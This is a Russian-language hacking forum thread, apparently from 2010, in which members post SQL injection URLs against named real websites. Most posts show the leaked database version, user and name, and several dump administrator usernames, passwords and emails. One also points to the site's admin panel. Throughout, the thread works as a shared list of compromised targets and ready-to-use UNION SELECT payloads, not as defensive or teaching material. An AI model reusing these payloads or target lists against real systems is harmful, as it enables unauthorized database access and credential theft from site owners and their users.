SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://www.mp3style.ru/player.php?group_id=23&id=-451+'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),user(),database()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+--+

    5 ветка
     
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://jipam.vu.edu.au/article.php?sid=-434+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14

    user() : jipam@localhost

    version() : 4.0.18-Max

    database() : jipam

    PR-6
     
    _________________________
    1 person likes this.
  3. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://www.skypemate.ru/articles/?id=-149+UNION+SELECT+concat_ws(0x3a,version(),user(),database()),2+--+

    version: 5.0.67-log
    user: [email protected]
    database: u15838
     
    1 person likes this.
  4. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.sexykats.ru/action.php?action=news&id=-12+union+select+1,group_concat(0x0b,TABLE_NAME),3,4+from+information_schema.tables--
     
    2 people like this.
  5. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    тиц 40, pr 0
    Code:
    http://showbilet.ru/index.php?nav=1&page=3&id=2+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4
    
    http://showbilet.ru/order_new.php?id=-1+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7,8,9,10/*
    
    http://showbilet.ru/index.php?page=2&category=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4
    [email protected]:showbile:4.0.27-log



    тиц 1100, pr 4
    Code:
    http://www.electro-mpo.ru/Select?&crazd=982+and+substr((select+table_name+from+sys.user_tables+where+rownum%3C=1),1,1)='L'+--+
    
    http://www.electro-mpo.ru/Select?cgroupe=150+and+1=1
    Oracle
    user: TRADER
     
    #12225 BlackFan, 8 Jun 2010
    Last edited: 8 Jun 2010
  6. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.kkpartizan.rs/sr/vest.php?id=471+union+select+1,concat_ws(0x 3a,version(),databa se(),user()),3,4,5--
    PR - 4

    Database Version : 5.0.90-community
    Database name : kkparti_stat
    User : kkparti_stat@localhost
    OS : pc-linux-gnu


    -------------------------------------------------

    Code:
    http://www.24sata.rs/vesti.php?id=-73036+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),databas e(),use r()),11,12,13,14,15,16,17,18,19,20,21--
    PR - 6

    Database Version : 5.1.46-community-log
    Database name : 24sata
    User : [email protected]
    OS : unknown-linux-gnu

    Code:
    http://www.24sata.rs/vesti.php?id=-73036+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,password,admin,email),11,12,13, 14,15,16,17,18, 19,20,21+from+kori snici--
     
    4 people like this.
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.governors.ru/?regmode=regions&region=0&razdel=smi&statja=99782+UNION+SELECT+1,2,3,4,5,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116+limit+1,1



    Database Version: 5.0.89-Max-log
    Database name: governor_main
    User name: [email protected]
    Os:Linux
     
    3 people like this.
  8. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    да простят меня фанаты Aerosmith

    http://www.aerosmithsetlists.tv/tour.php?s=197604160&e=197702090&t=4&tour=5&id=-12+union+select+group_concat(0x0b,username,0x3a3a,password)+from+users--

    http://greatmexicantours.com/tour.php?id=-12+union+select+1,2,3,4,5,6,7,8,group_concat(0x0b,table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+from+information_schema.tables--
     
    #12228 Bramin, 8 Jun 2010
    Last edited: 8 Jun 2010
    2 people like this.
  9. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.dragonmaster.ws/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%28version%28%29,user%28%29,database%28%29%29%20*/
    Version: 5.1.46-log
    User: dragonm2_ozs2@localhost
    Database: dragonm2_ozs2

    Это уже хз какой по счету клан я сломал :D

    Code:
    http://jlistltd.com/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28version%28%29,database%28%29,user%28%29%29,2,3,4+--+
    Version: 5.0.91-log
    User: [email protected]
    Database: jlistjoom
     
    #12229 CyberHunter, 9 Jun 2010
    Last edited: 9 Jun 2010
    1 person likes this.
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Федерация Танцевального Спорта России

    Code:
    http://www.ftsr.ru/news.php?news_id=-120+union+all+select+1,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),6,7+--
    version : 4.0.27-log
    user : [email protected]
    database : ftsr139_2007
    os : portbld-freebsd7.1
     
    1 person likes this.
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.mossberg.com/products/default.asp?id=5+or+1=@@version

    PR-5

    --------

    http://www.pembroke.sa.edu.au/page.php?section=-517+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,user(),version(),database())

    PR-5
     
    _________________________
    #12231 Konqi, 9 Jun 2010
    Last edited: 9 Jun 2010
    3 people like this.
  12. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://shina.allforauto.ru/shina-detail.php?item=-85962+'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat_ws(0x3a,version(),database(),user()),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69+--+


    Version: 4
     
    1 person likes this.
  13. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://start-chel.ru/catalog/?CatID=-66+and+1=2+union+select+1,concat_ws(char(58),version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--

    version : 4.1.22-lk-log
    user : startchelr@localhost
    database : startchelr
    os : pc-linux-gnu
     
    4 people like this.
  14. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.fanfics.ru/index.php?section=3&id=-1068+union+select+group_concat(0x0b,table_name),2,3+from+information_schema.tables--
     
    2 people like this.
  15. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.insb.[COLOR=Lime]edu[/COLOR].rs/news.php?id=-60+union+select+1,concat_ws(0x3a,version(),da tabase(),user()),3,4,5-- 


    Database Version : 5.0.22
    Database name : insb_3909
    User : [email protected]
    OS : redhat-linux-gnu


    ------------------------------

    Баскетбольный клуб "Партизан"

    Code:
    http://www.kkpa rtizan.rs/en/onenews.php?id=574+union+se lect+1,concat_ws(0x3a,version(),database(),user()),3,4,5--

    PR - 4

    Database Version : 5.0.90-community
    Database name : kkparti_stat
    User : kkparti_stat@localhost
    OS : pc-linux-gnu


    ------------------------------

    Code:
    http://www.panoeconomicus.rs/issue.php?id=-32+union+select+1,2,concat_ws(0x3a ,version(),da tabase(),user()),4--


    PR - 5

    Database Version : 5.0.22
    Database name : pano_5315
    User : [email protected]
    OS : redhat-linux-gnu
     
    #12235 f1ng3r, 9 Jun 2010
    Last edited: 9 Jun 2010
    5 people like this.
  16. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://57gran.ru/catview57.php?cat57_id=-2+and+1=2+union+select+concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+--

    version : 5.0.32-Debian_7etch12-log
    user : [email protected]
    database : kostroma_57
    os : pc-linux-gnu
     
    1 person likes this.
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://testing.edu-chem.co.uk/product.php?product_id=-23+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13

    user() : teduc_user@localhost

    version() : 5.0.90-community

    database() : teduc_db

    OS : Linux
     
    _________________________
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.sokol-mebel.ru/news/?n_id=-35+union+select+1,2,3,concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+--

    version : 5.0.90-log
    user : [email protected]
    database : u97809
    os : portbld-freebsd7.2
     
  19. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://www.hair-epilation.ru/index.php?id=-115+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4+--+

    Version: 4


    http://www.044.com.ua/howto/?id=-8+%27+UNION+SELECT+concat_ws(0x3a,version(),user(),database())+--+


    Version: 5
     
    #12239 ZARO, 10 Jun 2010
    Last edited: 10 Jun 2010
    1 person likes this.
  20. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    Code:
    http://www.izmirgida.com/firma.php?id=-4+union+select+column_name+from+information_schema.columns+where+table_name=0x616363657373+--
    MySQL 5.0.51a
    table: access
    columns: id, username, password
    panel: http://www.izmirgida.com/admin
    query
    Code:
    http://www.izmirgida.com/firma.php?id=-4+union+select+concat_ws(0x3a,id,0x3a,username,0x3a,password)+from+access+--
    result
     
    4 people like this.
Thread Status:
Not open for further replies.